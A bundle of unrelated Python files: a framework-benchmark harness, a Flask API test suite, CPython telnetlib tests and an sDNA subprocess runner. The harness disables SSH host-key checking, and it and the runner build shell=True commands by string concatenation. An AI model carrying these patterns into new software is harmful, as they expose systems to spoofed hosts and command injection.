subprocess.Popen(self.database_ssh_string, stdin=subprocess.PIPE, stdout=out, stderr=err, shell=True) p.communicate(""" sudo restart mysql sudo restart mongod sudo service redis-server restart sudo service postgresql restart """) time.sleep(10) if self.__is_port_bound(test.port): # This can happen sometimes - let's try again self.__stop_test(out, err) out.flush() err.flush() time.sleep(15) if self.__is_port_bound(test.port): # We gave it our all self.__write_intermediate_results(test.name, "port " + str(test.port) + " is not available before start") err.write(header("Error: Port %s is not available, cannot start %s" % (test.port, test.name))) err.flush() print "Error: Unable to recover port, cannot start test" return exit_with_code(1) result = test.start(out, err) if result != 0: self.__stop_test(out, err) time.sleep(5) err.write( "ERROR: Problem starting {name}\n".format(name=test.name) ) err.flush() self.__write_intermediate_results(test.name,"<setup.py>#start() returned non-zero") return exit_with_code(1) logging.info("Sleeping %s seconds to ensure framework is ready" % self.sleep) time.sleep(self.sleep) ########################## # Verify URLs ########################## logging.info("Verifying framework URLs") passed_verify = test.verify_urls(out, err) out.flush() err.flush() ########################## # Benchmark this test ########################## if self.mode == "benchmark": logging.info("Benchmarking") out.write(header("Benchmarking %s" % test.name)) out.flush() test.benchmark(out, err) out.flush() err.flush() ########################## # Stop this test ########################## out.write(header("Stopping %s" % test.name)) out.flush() self.__stop_test(out, err) out.flush() err.flush() time.sleep(15) if self.__is_port_bound(test.port): # This can happen sometimes - let's try again self.__stop_test(out, err) out.flush() err.flush() time.sleep(15) if self.__is_port_bound(test.port): # We gave it our all self.__write_intermediate_results(test.name, "port " + str(test.port) + " was not released by stop") err.write(header("Error: Port %s was not released by stop %s" % (test.port, test.name))) err.flush() return exit_with_code(1) out.write(header("Stopped %s" % test.name)) out.flush() time.sleep(5) ########################################################## # Save results thus far into toolset/benchmark/latest.json ########################################################## out.write(header("Saving results through %s" % test.name)) out.flush() self.__write_intermediate_results(test.name,time.strftime("%Y%m%d%H%M%S", time.localtime())) if self.mode == "verify" and not passed_verify: print "Failed verify!" return exit_with_code(1) except (OSError, IOError, subprocess.CalledProcessError) as e: self.__write_intermediate_results(test.name,"<setup.py> raised an exception") err.write(header("Subprocess Error %s" % test.name)) traceback.print_exc(file=err) err.flush() try: self.__stop_test(out, err) except (subprocess.CalledProcessError) as e: self.__write_intermediate_results(test.name,"<setup.py>#stop() raised an error") err.write(header("Subprocess Error: Test .stop() raised exception %s" % test.name)) traceback.print_exc(file=err) err.flush() out.close() err.close() return exit_with_code(1) # TODO - subprocess should not catch this exception! # Parent process should catch it and cleanup/exit except (KeyboardInterrupt) as e: self.__stop_test(out, err) out.write(header("Cleaning up...")) out.flush() self.__finish() sys.exit(1) out.close() err.close() return exit_with_code(0) ############################################################ # End __run_tests ############################################################ ############################################################ # __stop_test(benchmarker) # Stops a running test ############################################################ def __stop_test(self, out, err): # Meganuke try: subprocess.check_call('sudo killall -s 9 -u %s' % self.runner_user, shell=True, stderr=err, stdout=out) retcode = 0 except Exception: retcode = 1 return retcode ############################################################ # End __stop_test ############################################################ ############################################################ # __is_port_bound # Check if the requested port is available. If it # isn't available, then a previous test probably didn't # shutdown properly. ############################################################ def __is_port_bound(self, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # Try to bind to all IP addresses, this port s.bind(("", port)) # If we get here, we were able to bind successfully, # which means the port is free. except Exception: # If we get an exception, it might be because the port is still bound # which would be bad, or maybe it is a privileged port (<1024) and we # are not running as root, or maybe the server is gone, but sockets are # still in TIME_WAIT (SO_REUSEADDR). To determine which scenario, try to # connect. try: s.connect(("127.0.0.1", port)) # If we get here, we were able to connect to something, which means # that the port is still bound. return True except Exception: # An exception means that we couldn't connect, so a server probably # isn't still running on the port. pass finally: s.close() return False ############################################################ # End __is_port_bound ############################################################ ############################################################ # __parse_results # Ensures that the system has all necessary software to run # the tests. This does not include that software for the individual # test, but covers software such as curl and weighttp that # are needed. ############################################################ def __parse_results(self, tests): # Run the method to get the commmit count of each framework. self.__count_commits() # Call the method which counts the sloc for each framework self.__count_sloc() # Time to create parsed files # Aggregate JSON file with open(os.path.join(self.full_results_directory(), "results.json"), "w") as f: f.write(json.dumps(self.results, indent=2)) ############################################################ # End __parse_results ############################################################ ############################################################# # __count_sloc ############################################################# def __count_sloc(self): frameworks = gather_frameworks(include=self.test, exclude=self.exclude, benchmarker=self) jsonResult = {} for framework, testlist in frameworks.iteritems(): if not os.path.exists(os.path.join(testlist[0].directory, "source_code")): logging.warn("Cannot count lines of code for %s - no 'source_code' file", framework) continue # Unfortunately the source_code files use lines like # ./cpoll_cppsp/www/fortune_old instead of # ./www/fortune_old # so we have to back our working dir up one level wd = os.path.dirname(testlist[0].directory) try: command = "cloc --list-file=%s/source_code --yaml" % testlist[0].directory # Find the last instance of the word 'code' in the yaml output. This should # be the line count for the sum of all listed files or just the line count # for the last file in the case where there's only one file listed. command = command + "| grep code | tail -1 | cut -d: -f 2" logging.debug("Running \"%s\" (cwd=%s)", command, wd) lineCount = subprocess.check_output(command, cwd=wd, shell=True) jsonResult[framework] = int(lineCount) except subprocess.CalledProcessError: continue except ValueError as ve: logging.warn("Unable to get linecount for %s due to error '%s'", framework, ve) self.results['rawData']['slocCounts'] = jsonResult ############################################################ # End __count_sloc ############################################################ ############################################################ # __count_commits # ############################################################ def __count_commits(self): frameworks = gather_frameworks(include=self.test, exclude=self.exclude, benchmarker=self) def count_commit(directory, jsonResult): command = "git rev-list HEAD -- " + directory + " | sort -u | wc -l" try: commitCount = subprocess.check_output(command, shell=True) jsonResult[framework] = int(commitCount) except subprocess.CalledProcessError: pass # Because git can be slow when run in large batches, this # calls git up to 4 times in parallel. Normal improvement is ~3-4x # in my trials, or ~100 seconds down to ~25 # This is safe to parallelize as long as each thread only # accesses one key in the dictionary threads = [] jsonResult = {} t1 = datetime.now() for framework, testlist in frameworks.iteritems(): directory = testlist[0].directory t = threading.Thread(target=count_commit, args=(directory,jsonResult)) t.start() threads.append(t) # Git has internal locks, full parallel will just cause contention # and slowness, so we rate-limit a bit if len(threads) >= 4: threads[0].join() threads.remove(threads[0]) # Wait for remaining threads for t in threads: t.join() t2 = datetime.now() # print "Took %s seconds " % (t2 - t1).seconds self.results['rawData']['commitCounts'] = jsonResult self.commits = jsonResult ############################################################ # End __count_commits ############################################################ ############################################################ # __write_intermediate_results ############################################################ def __write_intermediate_results(self,test_name,status_message): try: self.results["completed"][test_name] = status_message with open(os.path.join(self.latest_results_directory, 'results.json'), 'w') as f: f.write(json.dumps(self.results, indent=2)) except (IOError): logging.error("Error writing results.json") ############################################################ # End __write_intermediate_results ############################################################ def __load_results(self): try: with open(os.path.join(self.latest_results_directory, 'results.json')) as f: self.results = json.load(f) except (ValueError, IOError): pass ############################################################ # __finish ############################################################ def __finish(self): if not self.list_tests and not self.list_test_metadata and not self.parse: tests = self.__gather_tests # Normally you don't have to use Fore.BLUE before each line, but # Travis-CI seems to reset color codes on newline (see travis-ci/travis-ci#2692) # or stream flush, so we have to ensure that the color code is printed repeatedly prefix = Fore.CYAN for line in header("Verification Summary", top='=', bottom='').split('\n'): print prefix + line for test in tests: print prefix + "| Test: %s" % test.name if test.name in self.results['verify'].keys(): for test_type, result in self.results['verify'][test.name].iteritems(): if result.upper() == "PASS": color = Fore.GREEN elif result.upper() == "WARN": color = Fore.YELLOW else: color = Fore.RED print prefix + "| " + test_type.ljust(11) + ' : ' + color + result.upper() else: print prefix + "| " + Fore.RED + "NO RESULTS (Did framework launch?)" print prefix + header('', top='', bottom='=') + Style.RESET_ALL print "Time to complete: " + str(int(time.time() - self.start_time)) + " seconds" print "Results are saved in " + os.path.join(self.result_directory, self.timestamp) ############################################################ # End __finish ############################################################ ########################################################################################## # Constructor ########################################################################################## ############################################################ # Initialize the benchmarker. The args are the arguments # parsed via argparser. ############################################################ def __init__(self, args): # Map type strings to their objects types = dict() types['json'] = JsonTestType() types['db'] = DBTestType() types['query'] = QueryTestType() types['fortune'] = FortuneTestType() types['update'] = UpdateTestType() types['plaintext'] = PlaintextTestType() # Turn type into a map instead of a string if args['type'] == 'all': args['types'] = types else: args['types'] = { args['type'] : types[args['type']] } del args['type'] args['max_threads'] = args['threads'] args['max_concurrency'] = max(args['concurrency_levels']) self.__dict__.update(args) # pprint(self.__dict__) self.start_time = time.time() self.run_test_timeout_seconds = 3600 # setup logging logging.basicConfig(stream=sys.stderr, level=logging.INFO) # setup some additional variables if self.database_user == None: self.database_user = self.client_user if self.database_host == None: self.database_host = self.client_host if self.database_identity_file == None: self.database_identity_file = self.client_identity_file # Remember root directory self.fwroot = setup_util.get_fwroot() # setup results and latest_results directories self.result_directory = os.path.join("results", self.name) self.latest_results_directory = self.latest_results_directory() if hasattr(self, 'parse') and self.parse != None: self.timestamp = self.parse else: self.timestamp = time.strftime("%Y%m%d%H%M%S", time.localtime()) # Load the latest data #self.latest = None #try: # with open('toolset/benchmark/latest.json', 'r') as f: # # Load json file into config object # self.latest = json.load(f) # logging.info("toolset/benchmark/latest.json loaded to self.latest") # logging.debug("contents of latest.json: " + str(json.dumps(self.latest))) #except IOError: # logging.warn("IOError on attempting to read toolset/benchmark/latest.json") # #self.results = None #try: # if self.latest != None and self.name in self.latest.keys(): # with open(os.path.join(self.result_directory, str(self.latest[self.name]), 'results.json'), 'r') as f: # # Load json file into config object # self.results = json.load(f) #except IOError: # pass self.results = None try: with open(os.path.join(self.latest_results_directory, 'results.json'), 'r') as f: #Load json file into results object self.results = json.load(f) except IOError: logging.warn("results.json for test %s not found.",self.name) if self.results == None: self.results = dict() self.results['name'] = self.name self.results['concurrencyLevels'] = self.concurrency_levels self.results['queryIntervals'] = self.query_levels self.results['frameworks'] = [t.name for t in self.__gather_tests] self.results['duration'] = self.duration self.results['rawData'] = dict() self.results['rawData']['json'] = dict() self.results['rawData']['db'] = dict() self.results['rawData']['query'] = dict() self.results['rawData']['fortune'] = dict() self.results['rawData']['update'] = dict() self.results['rawData']['plaintext'] = dict() self.results['completed'] = dict() self.results['succeeded'] = dict() self.results['succeeded']['json'] = [] self.results['succeeded']['db'] = [] self.results['succeeded']['query'] = [] self.results['succeeded']['fortune'] = [] self.results['succeeded']['update'] = [] self.results['succeeded']['plaintext'] = [] self.results['failed'] = dict() self.results['failed']['json'] = [] self.results['failed']['db'] = [] self.results['failed']['query'] = [] self.results['failed']['fortune'] = [] self.results['failed']['update'] = [] self.results['failed']['plaintext'] = [] self.results['verify'] = dict() else: #for x in self.__gather_tests(): # if x.name not in self.results['frameworks']: # self.results['frameworks'] = self.results['frameworks'] + [x.name] # Always overwrite framework list self.results['frameworks'] = [t.name for t in self.__gather_tests] # Setup the ssh command string self.database_ssh_string = "ssh -T -o StrictHostKeyChecking=no " + self.database_user + "@" + self.database_host self.client_ssh_string = "ssh -T -o StrictHostKeyChecking=no " + self.client_user + "@" + self.client_host if self.database_identity_file != None: self.database_ssh_string = self.database_ssh_string + " -i " + self.database_identity_file if self.client_identity_file != None: self.client_ssh_string = self.client_ssh_string + " -i " + self.client_identity_file if self.install is not None: install = Installer(self, self.install_strategy) install.install_software() ############################################################ # End __init__ ############################################################
test_main_system.py
from dataclasses import dataclass import threading import pytest from typing import Any, Callable from flask.testing import FlaskClient from src.artemis.parameters import FullParameters from src.artemis.main import create_app, Status, Actions from src.artemis.devices.det_dim_constants import EIGER_TYPE_EIGER2_X_4M import json from time import sleep FGS_ENDPOINT = "/fast_grid_scan/" START_ENDPOINT = FGS_ENDPOINT + Actions.START.value STOP_ENDPOINT = FGS_ENDPOINT + Actions.STOP.value STATUS_ENDPOINT = FGS_ENDPOINT + "status" SHUTDOWN_ENDPOINT = FGS_ENDPOINT + Actions.SHUTDOWN.value TEST_PARAMS = FullParameters().to_json() class MockRunEngine: RE_takes_time = True aborting_takes_time = False error: str = None def __call__(self, *args: Any, **kwds: Any) -> Any: while self.RE_takes_time: sleep(0.1) if self.error: raise Exception(self.error) def abort(self): while self.aborting_takes_time: sleep(0.1) if self.error: raise Exception(self.error) self.RE_takes_time = False @dataclass class ClientAndRunEngine: client: FlaskClient mock_run_engine: MockRunEngine @pytest.fixture def test_env(): mock_run_engine = MockRunEngine() app, runner = create_app({"TESTING": True}, mock_run_engine) runner_thread = threading.Thread(target=runner.wait_on_queue) runner_thread.start() with app.test_client() as client: yield ClientAndRunEngine(client, mock_run_engine) runner.shutdown() runner_thread.join() def wait_for_run_engine_status( client: FlaskClient, status_check: Callable[[str], bool] = lambda status: status != Status.BUSY.value, attempts=10, ): while attempts != 0: response = client.get(STATUS_ENDPOINT) response_json = json.loads(response.data) if status_check(response_json["status"]): return response_json else: attempts -= 1 sleep(0.1) assert False, "Run engine still busy" def check_status_in_response(response_object, expected_result: Status): response_json = json.loads(response_object.data) assert response_json["status"] == expected_result.value def test_start_gives_success(test_env: ClientAndRunEngine): response = test_env.client.put(START_ENDPOINT, data=TEST_PARAMS) check_status_in_response(response, Status.SUCCESS) def test_getting_status_return_idle(test_env: ClientAndRunEngine): response = test_env.client.get(STATUS_ENDPOINT) check_status_in_response(response, Status.IDLE) def test_getting_status_after_start_sent_returns_busy( test_env: ClientAndRunEngine, ): test_env.client.put(START_ENDPOINT, data=TEST_PARAMS) response = test_env.client.get(STATUS_ENDPOINT) check_status_in_response(response, Status.BUSY) def test_sending_start_twice_fails(test_env: ClientAndRunEngine): test_env.client.put(START_ENDPOINT, data=TEST_PARAMS) response = test_env.client.put(START_ENDPOINT, data=TEST_PARAMS) check_status_in_response(response, Status.FAILED) def test_given_started_when_stopped_then_success_and_idle_status( test_env: ClientAndRunEngine, ): test_env.mock_run_engine.aborting_takes_time = True test_env.client.put(START_ENDPOINT, data=TEST_PARAMS) response = test_env.client.put(STOP_ENDPOINT) check_status_in_response(response, Status.ABORTING) response = test_env.client.get(STATUS_ENDPOINT) check_status_in_response(response, Status.ABORTING) test_env.mock_run_engine.aborting_takes_time = False wait_for_run_engine_status( test_env.client, lambda status: status != Status.ABORTING ) check_status_in_response(response, Status.ABORTING) def test_given_started_when_stopped_and_started_again_then_runs( test_env: ClientAndRunEngine, ): test_env.client.put(START_ENDPOINT, data=TEST_PARAMS) test_env.client.put(STOP_ENDPOINT) response = test_env.client.put(START_ENDPOINT, data=TEST_PARAMS) check_status_in_response(response, Status.SUCCESS) response = test_env.client.get(STATUS_ENDPOINT) check_status_in_response(response, Status.BUSY) def test_given_started_when_RE_stops_on_its_own_with_error_then_error_reported( test_env: ClientAndRunEngine, ): test_env.client.put(START_ENDPOINT, data=TEST_PARAMS) error_message = "D'Oh" test_env.mock_run_engine.error = error_message response_json = wait_for_run_engine_status(test_env.client) assert response_json["status"] == Status.FAILED.value assert response_json["message"] == error_message def test_given_started_and_return_status_interrupted_when_RE_aborted_then_error_reported( test_env: ClientAndRunEngine, ): test_env.mock_run_engine.aborting_takes_time = True test_env.client.put(START_ENDPOINT, data=TEST_PARAMS) error_message = "D'Oh" test_env.client.put(STOP_ENDPOINT) test_env.mock_run_engine.error = error_message response_json = wait_for_run_engine_status( test_env.client, lambda status: status != Status.ABORTING.value ) assert response_json["status"] == Status.FAILED.value assert response_json["message"] == error_message def test_given_started_when_RE_stops_on_its_own_happily_then_no_error_reported( test_env: ClientAndRunEngine, ): test_env.client.put(START_ENDPOINT, data=TEST_PARAMS) test_env.mock_run_engine.RE_takes_time = False response_json = wait_for_run_engine_status(test_env.client) assert response_json["status"] == Status.IDLE.value
test_telnetlib.py
import socket import select import telnetlib import time import contextlib import unittest from unittest import TestCase from test import support threading = support.import_module('threading') HOST = support.HOST def server(evt, serv): serv.listen(5) evt.set() try: conn, addr = serv.accept() conn.close() except socket.timeout: pass finally: serv.close() class GeneralTests(TestCase): def setUp(self): self.evt = threading.Event() self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(60) # Safety net. Look issue 11812 self.port = support.bind_port(self.sock) self.thread = threading.Thread(target=server, args=(self.evt,self.sock)) self.thread.setDaemon(True) self.thread.start() self.evt.wait() def tearDown(self): self.thread.join() del self.thread # Clear out any dangling Thread objects. def testBasic(self): # connects telnet = telnetlib.Telnet(HOST, self.port) telnet.sock.close() def testTimeoutDefault(self): self.assertTrue(socket.getdefaulttimeout() is None) socket.setdefaulttimeout(30) try: telnet = telnetlib.Telnet(HOST, self.port) finally: socket.setdefaulttimeout(None) self.assertEqual(telnet.sock.gettimeout(), 30) telnet.sock.close() def testTimeoutNone(self): # None, having other default self.assertTrue(socket.getdefaulttimeout() is None) socket.setdefaulttimeout(30) try: telnet = telnetlib.Telnet(HOST, self.port, timeout=None) finally: socket.setdefaulttimeout(None) self.assertTrue(telnet.sock.gettimeout() is None) telnet.sock.close() def testTimeoutValue(self): telnet = telnetlib.Telnet(HOST, self.port, timeout=30) self.assertEqual(telnet.sock.gettimeout(), 30) telnet.sock.close() def testTimeoutOpen(self): telnet = telnetlib.Telnet() telnet.open(HOST, self.port, timeout=30) self.assertEqual(telnet.sock.gettimeout(), 30) telnet.sock.close() def testGetters(self): # Test telnet getter methods telnet = telnetlib.Telnet(HOST, self.port, timeout=30) t_sock = telnet.sock self.assertEqual(telnet.get_socket(), t_sock) self.assertEqual(telnet.fileno(), t_sock.fileno()) telnet.sock.close() class SocketStub(object): ''' a socket proxy that re-defines sendall() ''' def __init__(self, reads=()): self.reads = list(reads) # Intentionally make a copy. self.writes = [] self.block = False def sendall(self, data): self.writes.append(data) def recv(self, size): out = b'' while self.reads and len(out) < size: out += self.reads.pop(0) if len(out) > size: self.reads.insert(0, out[size:]) out = out[:size] return out class TelnetAlike(telnetlib.Telnet): def fileno(self): raise NotImplementedError() def close(self): pass def sock_avail(self): return (not self.sock.block) def msg(self, msg, *args): with support.captured_stdout() as out: telnetlib.Telnet.msg(self, msg, *args) self._messages += out.getvalue() return def mock_select(*s_args): block = False for l in s_args: for fob in l: if isinstance(fob, TelnetAlike): block = fob.sock.block if block: return [[], [], []] else: return s_args class MockPoller(object): test_case = None # Set during TestCase setUp. def __init__(self): self._file_objs = [] def register(self, fd, eventmask): self.test_case.assertTrue(hasattr(fd, 'fileno'), fd) self.test_case.assertEqual(eventmask, select.POLLIN|select.POLLPRI) self._file_objs.append(fd) def poll(self, timeout=None): block = False for fob in self._file_objs: if isinstance(fob, TelnetAlike): block = fob.sock.block if block: return [] else: return zip(self._file_objs, [select.POLLIN]*len(self._file_objs)) def unregister(self, fd): self._file_objs.remove(fd) @contextlib.contextmanager def test_socket(reads): def new_conn(*ignored): return SocketStub(reads) try: old_conn = socket.create_connection socket.create_connection = new_conn yield None finally: socket.create_connection = old_conn return def test_telnet(reads=(), cls=TelnetAlike, use_poll=None): ''' return a telnetlib.Telnet object that uses a SocketStub with reads queued up to be read ''' for x in reads: assert type(x) is bytes, x with test_socket(reads): telnet = cls('dummy', 0) telnet._messages = '' # debuglevel output if use_poll is not None: if use_poll and not telnet._has_poll: raise unittest.SkipTest('select.poll() required.') telnet._has_poll = use_poll return telnet class ExpectAndReadTestCase(TestCase): def setUp(self): self.old_select = select.select select.select = mock_select self.old_poll = False if hasattr(select, 'poll'): self.old_poll = select.poll select.poll = MockPoller MockPoller.test_case = self def tearDown(self): if self.old_poll: MockPoller.test_case = None select.poll = self.old_poll select.select = self.old_select class ReadTests(ExpectAndReadTestCase): def test_read_until(self): """ read_until(expected, timeout=None) test the blocking version of read_util """ want = [b'xxxmatchyyy'] telnet = test_telnet(want) data = telnet.read_until(b'match') self.assertEqual(data, b'xxxmatch', msg=(telnet.cookedq, telnet.rawq, telnet.sock.reads)) reads = [b'x' * 50, b'match', b'y' * 50] expect = b''.join(reads[:-1]) telnet = test_telnet(reads) data = telnet.read_until(b'match') self.assertEqual(data, expect) def test_read_until_with_poll(self): """Use select.poll() to implement telnet.read_until().""" want = [b'x' * 10, b'match', b'y' * 10] telnet = test_telnet(want, use_poll=True) select.select = lambda *_: self.fail('unexpected select() call.') data = telnet.read_until(b'match') self.assertEqual(data, b''.join(want[:-1])) def test_read_until_with_select(self): """Use select.select() to implement telnet.read_until().""" want = [b'x' * 10, b'match', b'y' * 10] telnet = test_telnet(want, use_poll=False) if self.old_poll: select.poll = lambda *_: self.fail('unexpected poll() call.') data = telnet.read_until(b'match') self.assertEqual(data, b''.join(want[:-1])) def test_read_all(self): """ read_all() Read all data until EOF; may block. """ reads = [b'x' * 500, b'y' * 500, b'z' * 500] expect = b''.join(reads) telnet = test_telnet(reads) data = telnet.read_all() self.assertEqual(data, expect) return def test_read_some(self): """ read_some() Read at least one byte or EOF; may block. """ # test 'at least one byte' telnet = test_telnet([b'x' * 500]) data = telnet.read_some() self.assertTrue(len(data) >= 1) # test EOF telnet = test_telnet() data = telnet.read_some() self.assertEqual(b'', data) def _read_eager(self, func_name): """ read_*_eager() Read all data available already queued or on the socket, without blocking. """ want = b'x' * 100 telnet = test_telnet([want]) func = getattr(telnet, func_name) telnet.sock.block = True self.assertEqual(b'', func()) telnet.sock.block = False data = b'' while True: try: data += func() except EOFError: break self.assertEqual(data, want) def test_read_eager(self): # read_eager and read_very_eager make the same gaurantees # (they behave differently but we only test the gaurantees) self._read_eager('read_eager') self._read_eager('read_very_eager') # NB -- we need to test the IAC block which is mentioned in the # docstring but not in the module docs def read_very_lazy(self): want = b'x' * 100 telnet = test_telnet([want]) self.assertEqual(b'', telnet.read_very_lazy()) while telnet.sock.reads: telnet.fill_rawq() data = telnet.read_very_lazy() self.assertEqual(want, data) self.assertRaises(EOFError, telnet.read_very_lazy) def test_read_lazy(self): want = b'x' * 100 telnet = test_telnet([want]) self.assertEqual(b'', telnet.read_lazy()) data = b'' while True: try: read_data = telnet.read_lazy() data += read_data if not read_data: telnet.fill_rawq() except EOFError: break self.assertTrue(want.startswith(data)) self.assertEqual(data, want) class nego_collector(object): def __init__(self, sb_getter=None): self.seen = b'' self.sb_getter = sb_getter self.sb_seen = b'' def do_nego(self, sock, cmd, opt): self.seen += cmd + opt if cmd == tl.SE and self.sb_getter: sb_data = self.sb_getter() self.sb_seen += sb_data tl = telnetlib class WriteTests(TestCase): '''The only thing that write does is replace each tl.IAC for tl.IAC+tl.IAC''' def test_write(self): data_sample = [b'data sample without IAC', b'data sample with' + tl.IAC + b' one IAC', b'a few' + tl.IAC + tl.IAC + b' iacs' + tl.IAC, tl.IAC, b''] for data in data_sample: telnet = test_telnet() telnet.write(data) written = b''.join(telnet.sock.writes) self.assertEqual(data.replace(tl.IAC,tl.IAC+tl.IAC), written) class OptionTests(TestCase): # RFC 854 commands cmds = [tl.AO, tl.AYT, tl.BRK, tl.EC, tl.EL, tl.GA, tl.IP, tl.NOP] def _test_command(self, data): """ helper for testing IAC + cmd """ telnet = test_telnet(data) data_len = len(b''.join(data)) nego = nego_collector() telnet.set_option_negotiation_callback(nego.do_nego) txt = telnet.read_all() cmd = nego.seen self.assertTrue(len(cmd) > 0) # we expect at least one command self.assertIn(cmd[:1], self.cmds) self.assertEqual(cmd[1:2], tl.NOOPT) self.assertEqual(data_len, len(txt + cmd)) nego.sb_getter = None # break the nego => telnet cycle def test_IAC_commands(self): for cmd in self.cmds: self._test_command([tl.IAC, cmd]) self._test_command([b'x' * 100, tl.IAC, cmd, b'y'*100]) self._test_command([b'x' * 10, tl.IAC, cmd, b'y'*10]) # all at once self._test_command([tl.IAC + cmd for (cmd) in self.cmds]) def test_SB_commands(self): # RFC 855, subnegotiations portion send = [tl.IAC + tl.SB + tl.IAC + tl.SE, tl.IAC + tl.SB + tl.IAC + tl.IAC + tl.IAC + tl.SE, tl.IAC + tl.SB + tl.IAC + tl.IAC + b'aa' + tl.IAC + tl.SE, tl.IAC + tl.SB + b'bb' + tl.IAC + tl.IAC + tl.IAC + tl.SE, tl.IAC + tl.SB + b'cc' + tl.IAC + tl.IAC + b'dd' + tl.IAC + tl.SE, ] telnet = test_telnet(send) nego = nego_collector(telnet.read_sb_data) telnet.set_option_negotiation_callback(nego.do_nego) txt = telnet.read_all() self.assertEqual(txt, b'') want_sb_data = tl.IAC + tl.IAC + b'aabb' + tl.IAC + b'cc' + tl.IAC + b'dd' self.assertEqual(nego.sb_seen, want_sb_data) self.assertEqual(b'', telnet.read_sb_data()) nego.sb_getter = None # break the nego => telnet cycle def test_debuglevel_reads(self): # test all the various places that self.msg(...) is called given_a_expect_b = [ # Telnet.fill_rawq (b'a', ": recv b''\n"), # Telnet.process_rawq (tl.IAC + bytes([88]), ": IAC 88 not recognized\n"), (tl.IAC + tl.DO + bytes([1]), ": IAC DO 1\n"), (tl.IAC + tl.DONT + bytes([1]), ": IAC DONT 1\n"), (tl.IAC + tl.WILL + bytes([1]), ": IAC WILL 1\n"), (tl.IAC + tl.WONT + bytes([1]), ": IAC WONT 1\n"), ] for a, b in given_a_expect_b: telnet = test_telnet([a]) telnet.set_debuglevel(1) txt = telnet.read_all() self.assertIn(b, telnet._messages) return def test_debuglevel_write(self): telnet = test_telnet() telnet.set_debuglevel(1) telnet.write(b'xxx') expected = "send b'xxx'\n" self.assertIn(expected, telnet._messages) def test_debug_accepts_str_port(self): # Issue 10695 with test_socket([]): telnet = TelnetAlike('dummy', '0') telnet._messages = '' telnet.set_debuglevel(1) telnet.msg('test') self.assertRegex(telnet._messages, r'0.*test') class ExpectTests(ExpectAndReadTestCase): def test_expect(self): """ expect(expected, [timeout]) Read until the expected string has been seen, or a timeout is hit (default is no timeout); may block. """ want = [b'x' * 10, b'match', b'y' * 10] telnet = test_telnet(want) (_,_,data) = telnet.expect([b'match']) self.assertEqual(data, b''.join(want[:-1])) def test_expect_with_poll(self): """Use select.poll() to implement telnet.expect().""" want = [b'x' * 10, b'match', b'y' * 10] telnet = test_telnet(want, use_poll=True) select.select = lambda *_: self.fail('unexpected select() call.') (_,_,data) = telnet.expect([b'match']) self.assertEqual(data, b''.join(want[:-1])) def test_expect_with_select(self): """Use select.select() to implement telnet.expect().""" want = [b'x' * 10, b'match', b'y' * 10] telnet = test_telnet(want, use_poll=False) if self.old_poll: select.poll = lambda *_: self.fail('unexpected poll() call.') (_,_,data) = telnet.expect([b'match']) self.assertEqual(data, b''.join(want[:-1])) def test_main(verbose=None): support.run_unittest(GeneralTests, ReadTests, WriteTests, OptionTests, ExpectTests) if __name__ == '__main__': test_main()
runsdnacommand.py
##This file (and this file only) is released under the MIT license ## ##The MIT License (MIT) ## ##Copyright (c) 2015 Cardiff University ## ##Permission is hereby granted, free of charge, to any person obtaining a copy ##of this software and associated documentation files (the "Software"), to deal ##in the Software without restriction, including without limitation the rights ##to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ##copies of the Software, and to permit persons to whom the Software is ##furnished to do so, subject to the following conditions: ## ##The above copyright notice and this permission notice shall be included in ##all copies or substantial portions of the Software. ## ##THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ##IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ##FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ##AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ##LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ##OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN ##THE SOFTWARE. import os,sys,time,re from subprocess import PIPE, Popen, STDOUT try: from Queue import Queue, Empty except ImportError: from queue import Queue, Empty from threading import Thread def map_to_string(map): return '"'+";".join((k+"="+v.replace("\\","/") for k,v in map.iteritems()))+'"' # because select.select doesn't work on Windows, # create threads to call blocking stdout/stderr pipes # and update progress when polled class ForwardPipeToProgress: def __init__(self,progress,prefix,pipe,outputblank): self.outputblanklines=outputblank self.unfinishedline="" self.prefix=prefix self.progress=progress self.q = Queue() self.regex = re.compile("Progress: ([0-9][0-9]*.?[0-9]*)%") self.seen_cr = False def enqueue_output(out, queue): while True: data = out.read(1) # blocks if not data: break else: queue.put(data) t = Thread(target=enqueue_output, args=(pipe, self.q)) t.daemon = True # thread won't outlive process t.start() def _output(self): m = self.regex.match(self.unfinishedline.strip()) if m: self.progress.setPercentage(float(m.group(1))) else: if self.outputblanklines or self.unfinishedline!="": self.progress.setInfo(self.prefix+self.unfinishedline) self.unfinishedline="" def poll(self): while not self.q.empty(): char = self.q.get_nowait() # treat \r and \r\n as \n if char == "\r": self.seen_cr = True continue if char == "\n" or self.seen_cr: self._output() if char != "\n": self.unfinishedline+=char self.seen_cr = False else: self.unfinishedline+=char def flush(self): self.poll() if self.unfinishedline: self._output() def runsdnacommand(syntax,sdnapath,progress,pythonexe=None,pythonpath=None): # run command in subprocess, copy stdout/stderr back to progress object command = '' if pythonexe: command += '"'+pythonexe+'" ' command += '"'+sdnapath.strip('"')+os.sep+syntax["command"]+'.py" --im '+map_to_string(syntax["inputs"])+' --om '+map_to_string(syntax["outputs"])+' '+syntax["config"] progress.setInfo("Running external command: "+command+"\n") # fork subprocess ON_POSIX = 'posix' in sys.builtin_module_names environ = os.environ.copy() environ["PYTHONUNBUFFERED"]="1" # equivalent to calling with "python -u" if pythonpath: environ["PYTHONPATH"]=pythonpath # MUST create pipes for stdin, out and err because http://bugs.python.org/issue3905 p = Popen(command, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, bufsize=0, close_fds=ON_POSIX, env=environ) fout = ForwardPipeToProgress(progress,"",p.stdout,True) ferr = ForwardPipeToProgress(progress,"ERR: ",p.stderr,False) while p.poll() is None: fout.poll() ferr.poll() time.sleep(0.3) p.stdout.close() p.stderr.close() p.stdin.close() fout.flush() ferr.flush() p.wait() progress.setInfo("External command completed") return p.returncode
main.py
